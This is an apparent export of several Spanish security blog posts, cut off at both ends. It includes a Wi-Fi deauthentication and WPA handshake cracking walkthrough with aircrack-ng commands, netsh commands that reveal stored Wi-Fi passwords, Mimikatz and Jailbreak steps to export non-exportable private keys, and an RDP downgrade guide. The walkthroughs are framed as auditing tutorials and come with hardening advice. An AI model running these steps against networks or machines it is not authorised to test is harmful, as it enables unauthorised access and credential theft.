ATT\u0026CK"],"date":"2018-08-15","content":"Actualmente ya hay suficiente información sobre este tipo de técnicas de ataque para comprometer la seguridad de redes WPA. Recientemente he tenido que realizar una auditoría a redes Wi-Fi y revisando entradas del blog aún no había comentado nada sobre esto por lo que a modo de guía comentaré el procedimiento habitual en un conocido y funcional ataque de deautenticación (Wi-Fi deauth attack) donde habrá que desconectar a un cliente previamente conectado a la red que vamos a realizar el ataque, capturar el WPA handshake y finalmente aplicar fuerza bruta al fichero de captura de tráfico .cap obtenido. A día de hoy pocas redes inalámbricas están operando bajo el sistema de protección WEP (Wired Equivalent Privacy) o el estándar \u0026ldquo;IEEE 802.11\u0026rdquo; debido a las debilidades que este mecanismo de protección presenta. En la actualidad la mayoría ya están configuradas con WPA (Wi-Fi Protected Access) o el estándar \u0026ldquo;IEEE 802.11i\u0026rdquo; la cual mejora sustancialmente su seguridad respecto a WEP, aunque igualmente sigue siendo igual de susceptible a ataques de fuerza bruta y de ahí la importancia de proteger estas redes a través de una contraseña muy robusta y establecer el algoritmo de cifrado más robusto disponible como por ejemplo PSK y no la combinación de ambos (PSK-TKIP) ya que TKIP presenta principalmente la vulnerabilidad de ataques de recuperación de keystream al contrario que PSK. En este escenario se ha utilizado un adaptador USB Alfa Network AWUS036NH como interface de red para la captura inalámbrica. Usaremos Aircrack-ng una suite de herramientas para la evaluación de seguridad en redes inalámbricas. macchanger Link to heading MAC Changer nos permite la manipulación de las direcciones MAC de las interfaces de red. Nos podremos encontrar redes inalámbricas en las que están configuradas restricciones de conexión según la dirección MAC origen. Es decir, que solo una whitelist conocida de direcciones MAC se puedan conectar a ese AP (Access Point). Vamos a ver que estas limitaciones no es una buena medida de seguridad. Ya que podremos suplantar o cambiar la MAC por otro de los dispositivos que ya esté previamente conectado y que podamos conocer su MAC simplemente analizando el tráfico estemos o no conectados al AP. El cambiar la dirección MAC (aunque sea a una aleatoria como veremos en este caso) de nuestra interface evitará que dejemos rastros en los logs de conexión del AP de nuestra verdadera MAC. ifconfig wlan0 down macchanger -A wlan0 ifconfig wlan0 up Figura 1: macchanger - cambiar dirección MAC en la interface de red de captura de tráfico. Airmon-ng Link to heading Airmon-ng nos permite activar o desactivar el modo monitor de nuestra interface de red. En este caso tendremos que habilitar el modo monitor para nuestra interface de red wlan0 donde quedará establecida como wlan0mon. Modo monitor: Este modo permite la captura de los paquetes de una red inalámbrica sin estar asociados o conectados a una red. Modo promiscuo: Este modo permite la captura de los paquetes tanto en red cableada como inalámbrica que esté previamente conectado a una red. airmon-ng start wlan0 Figura 2: Habilitar el modo monitor en la interface de red inalámbrica wlan0. Airodump-ng Link to heading Airodump-ng se usa para capturar paquetes inalámbricos y es útil para ir acumulando vectores de inicialización IVs con el fin de intentar usarlos con Aircrack-ng y obtener la clave WEP o WPA. Puedes convertir archivos .cap / .dump a formato .ivs o juntarlos. Como conceptos principales debemos saber que es un SSID y BSSID. SSID o ESSID (Extended Service Set Identifier): Compuesto por un máximo de 32 octetos será el nombre que identifica la red inalámbrica. BSSID (Basic Service Set Identifier): Será la dirección MAC del punto de acceso. Si el SSID estuviese oculto en la red inalámbrica Airodump-ng intentará averiguarlo analizando los paquetes \u0026ldquo;probe responses\u0026rdquo; y \u0026ldquo;association requests\u0026rdquo; (son paquetes enviados desde un cliente al AP). En este escenario nos enfocaremos en la red con ESSID \u0026ldquo;testing\u0026rdquo; airodump-ng wlan0mon Figura 3: Capturar tráfico y descubrir redes inalámbricas con Airodump-ng. airodump-ng -c 8 –-bssid 72:B4:E6:CE:01:2D --write wpa2-salida-01 wlan0mon -c: Número del canal de la red que aparece en la columna CH. En este caso es 8. --bssid: Dirección MAC de la red objetivo. En este caso \u0026ldquo;testing\u0026rdquo; y el BSSID 72:B4:E6:CE:01:2D. --write: Archivo de captura en la que se guardarán los paquetes. En este caso \u0026ldquo;wpa2-salida-01\u0026rdquo;. wlan0mon: Nombre de la interface inalámbrica. Aireplay-ng Link to heading Aireplay-ng se usa para inyectar paquetes. Su función principal es generar tráfico para usarlo más tarde con aircrack-ng y poder crackear claves WEP y WPA-PSK. Hay varios ataques diferentes que se pueden utilizar para hacer deautenticaciones con el objetivo de capturar un handshake WPA, para realizar una falsa autenticación, un reenvío interactivo de un paquete, o una reinyección automática de un ARP-request. Con el programa packetforge-ng es posible crear paquetes \u0026ldquo;ARP request\u0026rdquo; de forma arbitraria. En este escenario usaremos el tipo de ataque deauth que consiste en enviar paquetes de deautenticación a uno o más clientes que están actualmente asociados a un punto de acceso (este ataque es totalmente inútil si no existen clientes wireless asociados). aireplay-ng -0 1 -a 72:B4:E6:CE:01:2D -c 70:3A:51:01:62:A3 wlan0mon -0: Significa deautenticación. 1: Número de deautenticaciones a enviar (puedes enviar todas las que quieras), 0 significa enviarlas continuamente. -a: Dirección MAC del punto de acceso (72:B4:E6:CE:01:2D). -c: Dirección MAC del cliente previamente conectado a deautenticar (STATION: 70:3A:51:01:62:A3), si se omite o con el parámetro -e se especifica el SSID (nombre de la red) serán deautenticados todos los clientes. wlan0mon: Nombre de la interface inalámbrica. Figura 4: Ataque deauth para capturar el handshake con Aireplay-ng. Aircrack-ng Link to heading Aircrack-ng será la herramienta principal para el descifrado de claves 802.11 WEP y 802.11i WPA/WPA2-PSK. aircrack-ng -w /usr/share/wordlist/rockyou.txt wpa2-salida-01.cap Con el parámetro -w indicaremos el diccionario (será uno de los diccionarios más utilizados y por defecto en máquinas Kali \u0026ldquo;rockyou.txt\u0026rdquo;) que se utilizará para llevar a cabo el ataque de fuerza bruta y posteriormente indicamos el fichero .cap que se obtuvo con Aireplay-ng. Figura 5: Usando Aircrack-ng para descifrar la clave de la red inalámbrica. En este escenario de ejemplo para hacerlo más formativo y rápido se estableció una contraseña sencilla y común en prácticamente cualquier diccionario empleado para fuerza bruta. Se puede ver como se encontró con éxito la clave de la red inalámbrica en unos 5 segundos. Figura 6: Descifrado con éxito y clave inalámbrica encontrada. Más info sobre la suite de Aircrack-ng: https://www.aircrack-ng.org/doku.php?id=Main Recomendaciones para mejorar la seguridad de redes inalámbricas Link to heading En escenarios empresariales existen muchos otros mecanismos e integraciones así como la posibilidad de añadir capas adicionales de seguridad perimetral, segmentación y monitoreo continuo de puntos de red inalámbricas. Pero estas recomendaciones van más enfocadas a las redes domésticas de hogar para intentar proteger lo máximo posible dentro de su limitado alcance tecnológico y de configuración. 1. Deshabilitar WPS (Wi-Fi Protected Setup) Se trata de un mecanismo de seguridad wifi para conectar a un router con otro dispositivo a través de un WPS PIN (una clave de 8 dígitos) la cual se puede introducir manualmente o autenticarse automáticamente dependiendo el tipo de dispositivo. Esto es verdad que facilita la autenticación en una primera vez entre dispositivos a la red pero también es un punto muy débil de seguridad tenerlo habilitado existen multitud de herramientas para realizar fuerza bruta a este tipo de autenticaciones WPSPinGenerator, Wash, Reaver, Bully, PixieWPS, entre las más conocidas. 2. Establecer una contraseña de autenticación robusta En tecnologías inalámbricas Wifi es la medida principal de protección a día de hoy. Considero que es el punto más importante, en ataques WEP no es así, pero en WPA/2 independientemente de la técnica realizada finalmente todo se resume en capturar un handshake y aplicar fuerza bruta a través de diccionarios. Por lo que cambiar la contraseña por defecto a una contraseña lo suficientemente robusta y compleja (alfanumérica, signos, longitud mínima de 35 caracteres en el caso de WPA) es un básico a realizar para que sea difícilmente costoso o prácticamente imposible por cuestión de tiempo físico poder ser crackeada o descifrada. 3. Usar los sistemas y cifrados más robustos disponibles Toda contraseña tiene que estar protegida por un buen cifrado. Será fundamental acompañar la contraseña compleja comentada anteriormente con el último sistema de autenticación disponible como puede ser WPA2 con cifrado PSK (AES). Sistemas WEP o cifrados TKIP ya han sido ampliamente vulnerados y no se consideran seguros. 4. Mantener actualizado el software del punto de acceso o enrutador Recomendación de seguridad básica para cualquier tecnología o servicio. Intenta mantener actualizados todos tus dispositivos. 5. Apagar la red inalámbrica si no la usas Algo tan sencillo como \u0026ldquo;Si no lo usas, desactívalo\u0026rdquo;. 6. Recomendaciones de seguridad adicionales Ahora podría indicar una serie de recomendaciones adicionales que se pueden encontrar en la mayoría de webs cuando buscas sobre esto como puede ser: \u0026ldquo;cambia el nombre SSID del dispositivo, no permitas que el dispositivo inalámbrico indique su presencia (ocultar SSID), disponer de un whitelist de direcciones MAC permitidas para conectarse, etc. Como ya hemos visto en este artículo mostrando un sencillo ataque deauth. Opciones como limitar a las MAC conocidas y ocultar el SSID es algo que no resta seguridad pero tampoco nos aporta gran protección, ya que es fácil suplantar direcciones MAC (macchanger) y poder encontrar redes ocultas (airodump-ng). Saludos! "},{"title":"Túnel SSH con PuTTY para RDP (local port forwarding)","url":"/posts/tunel-ssh-putty-rdp-local-port-forwarding/","summary":"Un túnel SSH se utiliza principalmente para tunelizar tráfico sobre internet o sobre una red local de una manera segura. Podemos encapsular un tipo de protocolo sobre una conexión establecida SSH …","tags":["Pentesting","Red Team","SSH","RDP","Tunneling","Port Forwarding","Pivoting","Putty"],"date":"2018-08-01","content":"Un túnel SSH se utiliza principalmente para tunelizar tráfico sobre internet o sobre una red local de una manera segura. Podemos encapsular un tipo de protocolo sobre una conexión establecida SSH (Secure SHell). Supongamos que nos queremos conectar a un servidor interno de una red local a través de Internet, pero el firewall de la compañía restringe las conexiones origen dirigidas a determinados puertos, entre ellos el 3389 (puerto por defecto usado para RDP), sin embargo si permite conexiones al puerto 22 (puerto por defecto para SSH). La compañía expone un único equipo accesible desde la WAN (Wide Area Network) de Internet. Por lo que tienen definida una regla en el firewall que hace port forwarding permitiendo las conexiones origen dirigidas al puerto 22 a través de la dirección IP pública se redirigen a una determinada IP interna que pertenece a un servidor Linux, este será el servidor SSH que usaremos para hacer pivoting al servidor al que nos conectaremos por Escritorio remoto RDP por el puerto 3389. El equipo cliente definirá mediante una herramienta de terceros la configuración de túnel SSH y se conectará a la IP pública de la compañía por el puerto 22, una vez establecida la conexión al servidor SSH el cliente se conectará por Escritorio remoto a sí mismo (127.0.0.1 o localhost) por el puerto configurado en el túnel SSH, ese puerto redirigirá la conexión al servidor SSH que a su vez redirigirá a la IP interna del servidor que aceptará la conexión de Escritorio remoto. En el siguiente esquema se muestra un funcionamiento de ejemplo para establecer conexiones de Escritorio remoto sobre un tunneling SSH. Se encapsulará el protocolo RDP sobre el protocolo SSH. Figura 1: Esquema de conexión tunneling SSH para conectarse por Escritorio remoto (RDP). Para establecer la configuración usaremos el cliente SSH PuTTY (podría ser otro que tenga la opción de poder configurar túneles SSH). Abrimos Putty y nos desplazamos a la sección: \u0026ldquo;Connection \u0026gt; SSH \u0026gt; Tunnels\u0026rdquo;. Indicamos el puerto origen para nuestro equipo y el destino IP:PUERTO al que se redirigirá la conexión. En este caso el puerto 3333 sería el puerto origen local de la máquina cliente y redirigirá las peticiones a ese puerto al destino 10.0.0.12:3389 sería el servidor remoto al que nos conectaremos por Escritorio remoto. Figura 2: Putty - Configurar conexión port forwarded tunelizada para usar con SSH. En la sección \u0026ldquo;Session\u0026rdquo; especificamos el nombre o IP del que sería el servidor SSH remoto al que nos conectaremos inicialmente. (Para este ejemplo me he conectado a una IP local sería la misma configuración para una IP Pública en Internet de un sitio remoto). Figura 3: Putty - Conectarse al equipo servidor SSH. Una vez nos conectamos al servidor SSH remoto, en el equipo cliente abrimos una ventana de conexión de Escritorio remoto (Windows +R \u0026gt; mstsc) y nos conectamos como localhost:3333. Ese puerto reenviará la petición al servidor SSH al que estamos conectados pivotando a través de este se establecerá la comunicación tunelizada de forma segura (previamente así lo habíamos definido -ver figura 4-) autenticándonos hacia el servidor destino que aceptará la conexión de Escritorio remoto. Figura 4: Autenticación para Escritorio remoto usando un reenvío de puertos configurado para un túnel SSH. Finalmente la conexión se estableció correctamente. En la siguiente captura de pantalla se puede ver como la conexión por Escritorio remoto se hizo a través de localhost:3333, en el servidor SSH se ve la redirección de puertos y en el eventlog de Putty el túnel SSH definido inicialmente. Las peticiones que vengan del puerto local 3333 las reenviará al destino 10.0.0.12:3389 (IP del servidor al que nos conectaremos y puerto por defecto RDP). Figura 5: Conexión de Escritorio remoto establecida usando un túnel SSH. Saludos! "},{"title":"Licencias RDP entre Windows Server 2016 y Windows Mobile (RDM, Windows CE, RDP 5.x/6.x)","url":"/posts/solucion-licencias-rdp-windows-server-2016-windows-mobile-rdm/","summary":"Actualmente RDP (Remote Desktop Protocol) está en versión 10.x y versiones más actualizadas que incluyen importantes mejoras de seguridad. Mejoras como una mayor longitud de clave generada por el …","tags":["Hardening","RDP","Certificados digitales","PKI","Regedit","Blue Team"],"date":"2018-07-19","content":"Actualmente RDP (Remote Desktop Protocol) está en versión 10.x y versiones más actualizadas que incluyen importantes mejoras de seguridad. Mejoras como una mayor longitud de clave generada por el servidor de licencias RDS 4096 bits con un algoritmo de seguridad SHA256 soportando SSL/TLS y NLA (Network Level Authentication). Versiones iguales o inferiores a RDP 6.x no soportan las características anteriores. El límite de longitud para las claves es de 2048 bits con algoritmo de seguridad SHA1 (Secure Hash Algorithm 1). Esta clave se genera en base al método de activación de licencias del administrador de licencias de Escritorio remoto. Si el método empleado es \u0026ldquo;Web Browser\u0026rdquo; (Explorador Web) las claves de licencias, se pueden generar con unos requisitos más bajos que si lo activásemos con otro método, con una longitud de 2048 bits SHA1. Si aún no tenemos activado el servidor de administración de licencias de Escritorio remoto y queremos tener la compatibilidad entre versiones más antiguas y actuales para establecer conexiones RDP. Seleccionamos la opción de activar por el método de conexión Web Browser. En caso de que ya tengamos activado el servidor de licencias procederemos del siguiente modo. En el servidor Windows Server 2016 que recibirá la conexión RDP desde el dispositivo Windows Mobile o Windows CE comprobamos que NLA esté desactivado. Figura 1: Desactivar NLA (Autenticación a nivel de red) en Windows Server 2016. Desactivar NLA reduce la seguridad RDP Network Level Authentication (NLA) protege el handshake RDP exigiendo autenticación antes de levantar la sesión gráfica completa. Desactivarlo abre la sesión a clientes RDP antiguos pero también a ataques sin auth previa. Aplícalo solo como workaround temporal y reactívalo en cuanto puedas actualizar los clientes. Más información sobre los riesgos de ataques MITM en conexiones RDP en Seth: ataques MITM a conexiones RDP y mitigación. Añadir un rol de instalación de Servicios de Escritorio remoto para VDI (Virtual Desktop Infraestructure). Figura 2: Añadir rol de instalación de RDS. En este paso podría ser \u0026ldquo;Implementación estándar\u0026rdquo; o \u0026ldquo;Inicio rápido\u0026rdquo;. Figura 3: Implementación estándar para el rol RDS. Para este escenario será implementación de escritorio basada en sesión. Figura 4: Implementación de escritorio basada en sesión. Una vez agregados los servicios RDS. Creamos una colección y nos dirigimos a ella. Figura 5: Colección de host de sesión de Escritorio remoto. Dentro de las tareas de colección de RDS configuramos las opciones de seguridad para conexiones RDP. Nivel de seguridad de protocolo de Escritorio remoto (RDP). Nivel de cifrado: Bajo. Deshabilitamos NLA. Figura 6: Configuración de opciones de seguridad para conexiones RDP. Como comentaba al principio, si elegimos un método de conexión basada en Explorador Web. No es necesario realizar ninguna otra acción y las conexiones RDP entre Windows Mobile o Windows CE y Windows Server 2012/2016 estarán funcionales. De igual modo, seleccionamos el método de conexión por Explorador Web o Web Browser y aceptamos. Figura 7: Selección del método de conexión \u0026ldquo;Web Browser\u0026rdquo;. Eliminamos los tipos de claves REG_BINARY correspondientes a las claves de certificado X509 del método anterior de licencias RDS. En el registro del servidor de administrador de licencias de Escritorio remoto. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\RCM Certificate X509 Certificate X509 Certificate ID X509 Certificate2 Figura 8: Eliminación de claves de licencias generadas por el administrador de licencias de Escritorio remoto. ¿Por qué eliminar estas claves de certificados del registro? Link to heading Entre versiones de RDP actuales la longitud de clave de certificados es de 4096 bits con un algoritmo de seguridad SHA256, estas claves se generan en la primera instancia de conexión entre un acuerdo entre el nivel de seguridad compatible entre las dos máquinas que establecen la conexión RDP. El equipo del usuario que mantiene la conexión con el servidor al que se conecta establece la longitud y algoritmo de esta clave, si el equipo que se conecta usa una versión de protocolo reciente no habrá problemas, pero si el equipo cliente se trata de un sistema Windows Mobile o similar este no podrá conectarse debido a que el servidor administrador de licencias no puede generar claves de una longitud y algoritmo inferior a los requisitos mínimos que establece el método de conexión (figura 9), por ese motivo el método de conexión Web Browser tiene unos requisitos menos restrictivos y puede generar claves de longitud más corta y cifrados de menor nivel. Conexión establecida Link to heading Como equipo cliente para este ejemplo usaré un Windows XP SP1 que dispone de versión RDP v5.x (funcionaría igual para Windows Mobile, Windows CE o similares con versiones RDP v5.x o v6.x). Vemos como la conexión RDP se estableció correctamente. En ese momento Windows XP SP1 estableció el acuerdo de certificados X509 de conexión. Si añadimos la desactivación de NLA y el nivel de cifrado más bajo sin SSL/TLS, la conexión es posible. Figura 9: Conexión RDP establecida entre versiones RDP antiguas y Windows Server 2016. Saludos! "},{"title":"Ver passwords Wi-Fi almacenadas en Windows (netsh wlan)","url":"/posts/ver-passwords-wifi-almacenadas-windows-netsh/","summary":"Cada vez que desde nuestro equipo Windows nos conectamos a una red inalámbrica WiFi y recordamos la password de identificación de la red, esta se almacena en el sistema.\nCon el uso de la utilidad de …","tags":["Post-Explotación","Red Team","Análisis Forense","WiFi","Netsh","DFIR"],"date":"2018-07-11","content":"Cada vez que desde nuestro equipo Windows nos conectamos a una red inalámbrica WiFi y recordamos la password de identificación de la red, esta se almacena en el sistema. Con el uso de la utilidad de comandos netsh (en la sección de wlan) podemos visualizar las redes que tenemos almacenadas y también la password de acceso que en su momento le indicáramos para autenticarnos en dicha red. Visualizar los nombres de las redes almacenadas por Windows en el equipo. netsh wlan show profile Establecemos el nombre de la red (SSID - Service Set Identifier) y el valor clear para key. netsh wlan show profile name= SSID key=clear Para este ejemplo se usó la red con SSID \u0026ldquo;prueba\u0026rdquo;. Figura 1: Netsh - Ver perfiles wlan y obtención de password wifi almacenada. Otra opción sería usar el \u0026ldquo;Centro de redes y recursos compartidos\u0026rdquo; del \u0026ldquo;Panel control\u0026rdquo;. Una opción con entorno gráfico de Windows 7 es que podíamos ver las redes almacenadas y editar su configuración, en Windows 10 solo podemos ver las redes almacenadas pero no editar su configuración si no estamos conectados en ese momento a esa red. Por lo que hacerlo de una forma gráfica solo nos servirá para ver la password almacenada de la Wifi actual en la que estemos conectados. Seleccionamos la red Wifi en la que actualmente estemos conectados. Propiedades inalámbricas \u0026gt; Pestaña Seguridad \u0026gt; Mostrar caracteres (nos saltará el UAC por seguridad, para ejecutar esto con privilegios administrativos). Figura 2: Ver password wifi conectada actualmente. Saludos! "},{"title":"Servidores y modo de licencias CAL de Servicios de Escritorio Remoto (RDS)","url":"/posts/servidores-licencias-cal-de-servicios-escritorio-remoto-rds/","summary":"Este ejemplo sería aplicable para un entorno en la que disponemos de varios Windows Server. Uno de ellos será el que tendrá el rol instalado de Administrador de licencias de Servicios de Escritorio …","tags":["Hardening","Blue Team","RDP","GPO","Active Directory"],"date":"2018-07-09","content":"Este ejemplo sería aplicable para un entorno en la que disponemos de varios Windows Server. Uno de ellos será el que tendrá el rol instalado de Administrador de licencias de Servicios de Escritorio remoto (RDS - Remote Desktop Services) en el que instalaremos licencias CAL (Client Access Licenses) ya sean por usuario o por dispositivo. En este caso habrá 5 licencias CAL por usuario para RDS. Figura 1: Administrador de licencias de Escritorio remoto. En lo que se centrará esta entrada no será en cómo activar el servidor de licencias e instalar las licencias CAL para RDS. Sino en cómo especificamos al resto de servidores que, dependiendo de cada caso, también permitirán conexiones de Escritorio remoto, acepten estas conexiones según el número de licencias CAL disponibles. Si solo aplicamos esto a la misma máquina que es el administrador de licencias no será necesario nada de esto. En caso de que una máquina sea el administrador de licencias de Escritorio remoto y queramos que ciertos usuarios se conecten a otro servidor, habrá que especificar en ese otro servidor quién está suministrando las licencias RDS y de qué modo se tratan las licencias (por usuario o por dispositivo). En el caso de que tengamos más de una máquina que admita conexiones por Escritorio remoto es recomendable emplear objetos de directivas de grupo GPO (Group Policy Object) de AD (Active Directory). Por lo que mostraré cómo hacerlo mediante la instalación de roles RDS y cómo hacerlo por medio de una GPO. Método 1: Instalación de roles RDS para VDI (Virtual Desktop Infrastructure) Link to heading Agregamos un rol para instalar servicios de Escritorio remoto para VDI. Figura 2: Instalación de roles RDS para VDI. Una vez tenemos instalado servicios de Escritorio remoto, en la sección de información general \u0026gt; Administrador de licencias \u0026gt; \u0026ldquo;Seleccionar el modo de licencias de Escritorio remoto\u0026rdquo;. Figura 3: Selección del modo de licencias de Escritorio remoto. En la sección de \u0026ldquo;Administración de licencias de Escritorio remoto\u0026rdquo;. Establecemos (en este caso) que el modo de licencias CAL será \u0026ldquo;Por usuario\u0026rdquo; y que el servidor que proporcionará las licencias será otro. Se podrían agregar varios en caso de haberlos y definir su preferencia, subiendo y bajando su posición en la lista. Figura 4: Selección del servidor de licencias y el modo de licencias CAL (por usuario o por dispositivo). Método 2: Creación de una GPO de Active Directory Link to heading Previamente se debería crear una OU (Organizational Unit) en Active Directory e incluir dentro de esta los equipos a los que vincularemos la GPO (aunque esto dependerá de la organización jerárquica de cada sitio). Abrimos el \u0026ldquo;Administrador de directivas de grupo\u0026rdquo; (gpmc.msc) de cualquier controlador de dominio, preferiblemente el DC (Domain controller) primario. Creamos una nueva GPO ya vinculada para la OU donde estarán las máquinas a las que nos conectaremos por Escritorio remoto. Editamos la GPO y nos situaremos en el siguiente path jerárquico. Configuración del equipo \u0026gt; Plantillas administrativas \u0026gt; Componentes de Windows \u0026gt; Servicios de Escritorio remoto \u0026gt; Host de sesión de Escritorio remoto \u0026gt; Licencias Habilitaremos el estado de dos objetos de directiva. Figura 5: GPO - Licencias CAL para RDS en host de sesión de Escritorio remoto. Habilitamos: \u0026ldquo;Usar los servidores de licencias de Escritorio remoto especificados\u0026rdquo;. Especificando el servidor/es administrador de licencias que se usará. Figura 6: GPO - \u0026ldquo;Usar los servidores de licencias de Escritorio remoto especificados\u0026rdquo;. Habilitamos: \u0026ldquo;Establecer el modo de licencia de Escritorio remoto\u0026rdquo;. Especificamos si se trata de licencias CAL por usuario o por dispositivo (en este caso sería por usuario). Figura 7: GPO - Establecer el modo de licencia de Escritorio remoto. Aceptamos y cerramos el editor de directivas de grupo. Finalmente podemos abrir una cmd de los servidores a los que les estaría afectando esta directiva y actualizar las políticas con un: gpupdate /force. Puede que nos solicite cerrar sesión y volver a iniciarla. Para comprobar la aplicación de directivas, desde un cmd con un gpresult /r o simplemente rsop (RSoP - Resultant Set of Policy). Saludos! "},{"title":"Exportar certificados no-exportables a PFX (PKCS #12) con Jailbreak y Mimikatz","url":"/posts/exportar-certificados-no-exportables-pfx-pkcs-12-jailbreak-mimikatz/","summary":"En el momento de importar un certificado digital, ya sea para el usuario actual (certmgmt.msc) como para el equipo (certlm.msc), tenemos la opción de establecer dicho certificado como exportable. Esto …","tags":["Post-Explotación","Red Team","Mimikatz","Certificados digitales","PKI","CA","Cracking"],"date":"2018-07-04","content":"En el momento de importar un certificado digital, ya sea para el usuario actual (certmgmt.msc) como para el equipo (certlm.msc), tenemos la opción de establecer dicho certificado como exportable. Esto nos permite exportar el certificado (clave pública) con la clave privada en un mismo fichero en formato pfx. Más información sobre algunos tipos de formatos de certificados. Figura 1: Checkbox \u0026ldquo;Marcar clave como exportable\u0026rdquo; al importar un certificado digital. Si no marcamos el check \u0026ldquo;Marcar esta clave como exportable\u0026rdquo; cuando se importa un certificado. En el momento de exportarlo del almacén de certificados del usuario actual: Botón derecho \u0026gt; todas las tareas \u0026gt; exportar\u0026hellip; Figura 2: Exportar certificado del administrador de certificados. Vemos desmarcada la opción \"*Exportar la clave privada*\". Figura 3: Intento de exportación de clave privada, opción deshabilitada, certificado no exportable. Para poder exportar un certificado ya instalado en el almacén de certificados del usuario actual, el cual no podemos exportar junto con la clave privada. Podemos usar dos opciones. Usando Jailbreak Link to heading Jailbreak nos permitirá abrir una consola de Microsoft (MSC) del almacén de certificados de Windows y poder realizar la exportación de la clave privada estableciendo una nueva password. Una vez descargado Jailbreak abrimos una consola cmd con el mismo usuario donde tenemos instalado el certificado y nos situamos en la raíz, ejecutamos el proceso por lotes \u0026ldquo;jbcert32.bat\u0026rdquo;. Este nos lanzará una ventana del almacén de certificados de usuario (certmgr.msc). Figura 4: Ejecución de jailbreak para exportar certificados no exportables. Si quisiéramos ejecutar el almacén local de certificados a nivel de máquina certlm.msc, no el almacén de usuarios como el caso anterior. Ejecutaríamos lo siguiente. 64 bits jailbreak64.exe %WINDIR%\\system32\\mmc.exe %WINDIR%\\system32\\certlm.msc -64 32 bits jailbreak32.exe %WINDIR%\\system32\\mmc.exe %WINDIR%\\system32\\certlm.msc -32 Ahora vemos cómo al intentar exportar el certificado nos permite exportar la clave privada. Figura 5: Opción habilitada para exportar clave privada. Elegimos un formato .pfx (este almacenará tanto la clave pública como la clave privada), podemos también marcar la opción de \u0026ldquo;Exportar todas las propiedades extendidas\u0026rdquo;. Figura 6: Opciones disponibles para exportar el certificado en formato .pfx. Podemos establecer una nueva contraseña para la clave privada, este sería el modo de restablecer la clave privada. Al finalizar el asistente tendremos exportado un certificado .pfx que contiene ambas claves y volver a importarlo en otro usuario o equipo. Figura 7: Establecer una nueva contraseña para la clave privada. Usando Mimikatz Link to heading Otra opción para poder exportar certificados no exportables de forma sencilla es con la herramienta Mimikatz (ya comentada en el blog). Una vez descargado Mimikatz abrimos una consola cmd y nos ubicamos en el raíz ejecutando \u0026ldquo;mimikatz.exe\u0026rdquo; (dependiendo de la arquitectura del sistema operativo que tengamos win32 o x64). crypto::capi crypto::certificates /export Esto buscará los certificados del almacén del usuario actual y los exportará en codificación .der y formato .pfx. La contraseña por defecto que establece Mimikatz es mimikatz (sin comillas). Podremos cambiar la password importando el certificado y volviendo a exportarlo con la clave privada estableciendo una nueva password (como se muestra en la figura 8). Figura 8: Mimikatz - Exportar certificados no exportables. Saludos! "},{"title":"Crear un punto de acceso Wi-Fi (WAP) desde Ethernet (IEEE 802.3)","url":"/posts/crear-punto-acceso-wifi-wap-ethernet-ieee-802-3/","summary":"En esta entrada se detalla el procedimiento de creación para una zona Wifi a través del adaptador de red cableada de Windows, compartiendo la conexión de este al adaptador inalámbrico que hará de WAP …","tags":["WiFi","Redes","Netsh"],"date":"2018-06-25","content":"En esta entrada se detalla el procedimiento de creación para una zona Wifi a través del adaptador de red cableada de Windows, compartiendo la conexión de este al adaptador inalámbrico que hará de WAP (Wireless Access Point) y puente de conexión. Será necesario disponer de dos tarjetas de red, una conectada a través de una conexión cableada Ethernet 802.3 y otra tarjeta inalámbrica ya sea mediante un zócalo interno PCI o conectada por un USB. El esquema que comentaré será para el siguiente ejemplo: Un dispositivo inalámbrico con el que nos conectaremos (smartphone en este caso) a un punto de acceso que proporciona el adaptador Wifi y que a su vez este mediante una conexión compartida de Internet que nos proporciona el adaptador de conexión cableada Ethernet. Figura 1: Esquema de conexión WAP Windows. Para toda la configuración haremos uso de la herramienta de comandos Netsh (Network Shell) nativa en Windows. Comprobamos las interfaces disponibles. netsh wlan show interfaces Figura 2: Netsh - Listar interfaces wlan. Será necesario comprobar que el driver de la tarjeta de red inalámbrica admita red hospedada. netsh wlan show drivers Figura 3: Netsh - Conocer la compatibilidad de interface wlan para red hospedada. Si el resultado es una \u0026ldquo;Red hospedada admitida: si\u0026rdquo;. Procedemos a crear el hostednetwork con su SSID (Service Set Identifier) y contraseña de acceso. netsh wlan set hostednetwork mode=allow ssid= nombre_wap key= password Sustituyendo en cada caso el nombre y la contraseña que deseemos. Figura 4: Netsh - Crear hostednetwork (WAP). En este punto creamos el \u0026ldquo;puente de conexión\u0026rdquo; entre el adaptador inalámbrico (Conexión de área local* 4 en este caso) y el adaptador de red cableada (Ethernet). En las propiedades de la interface Ethernet, pestaña de \u0026ldquo;Uso compartido\u0026rdquo;, compartimos la conexión a Internet permitiendo que los usuarios que se conecten desde la red de la interface inalámbrica (Conexión de área local* 4). Figura 5: Compartir conexión Internet entre dos interfaces de red (cableada e inalámbrica). Iniciamos el hostednetwork. netsh wlan start hostednetwork Podemos consultar su estado. netsh wlan show hostednetwork Figura 6: Activar el hostednetwork (WAP). Para comprobar su funcionamiento me conectaré desde un dispositivo smartphone. Vemos como estoy conectado al WAP con SSID zonasystem. Figura 7: Conexión desde un terminal inalámbrico a la nueva red inalámbrica creada. Vemos la MAC y dirección IP que nos está otorgando por DHCP. Generando la propia interface un ámbito de red 192.168.137.0/24. Cuando la red original es de un ámbito 10.0.0.0/24. Por defecto la propia interface crea su propia subred. Figura 8: Comprobación de información de red de la conexión. Comprobamos de nuevo el estado del hostednetwork de la wlan. Vemos como hay un dispositivo conectado o autenticado, se trata del smartphone conectado anteriormente. Consultamos la tabla ARP (arp -a) para contrastar la información. Figura 9: Verificación del cliente autenticado en el nuevo hostednetwork (WAP). Ahora bien, si se trata de un sistema operativo Windows 10, todo lo anterior no tendría sentido. Windows 10 incorpora una característica para hacer esto de forma muy sencilla. Igualmente está bien conocer lo anterior para entender este funcionamiento. De forma automática Windows configurará un WAP en el que podremos personalizar tanto el SSID como la passphrase. Desde el nuevo panel de control de Windows 10 (Tecla Windows + i) \u0026gt; \u0026ldquo;Red e Internet\u0026rdquo; \u0026gt; \u0026ldquo;Zona con cobertura inalámbrica móvil\u0026rdquo;. Tendremos que estar conectados a internet ya bien sea porque compartimos nosotros la conexión de un adaptador de red a otro o porque nos autenticamos en una red inalámbrica directamente. Habilitamos este modo y listo. Figura 10: Crear WAP de forma sencilla \u0026ldquo;Zona con cobertura inalámbrica móvil\u0026rdquo; en Windows 10. Saludos! "},{"title":"Volcado de hashes NTLM y contraseñas en plano con Mimikatz","url":"/posts/volcado-hashes-ntlm-contrasenas-texto-plano-mimikatz/","summary":"Mimikatz es una herramienta archiconocida de cracking que nos permitirá la obtención de contraseñas de usuarios de un sistema. Nos volcará (dumping) las contraseñas en 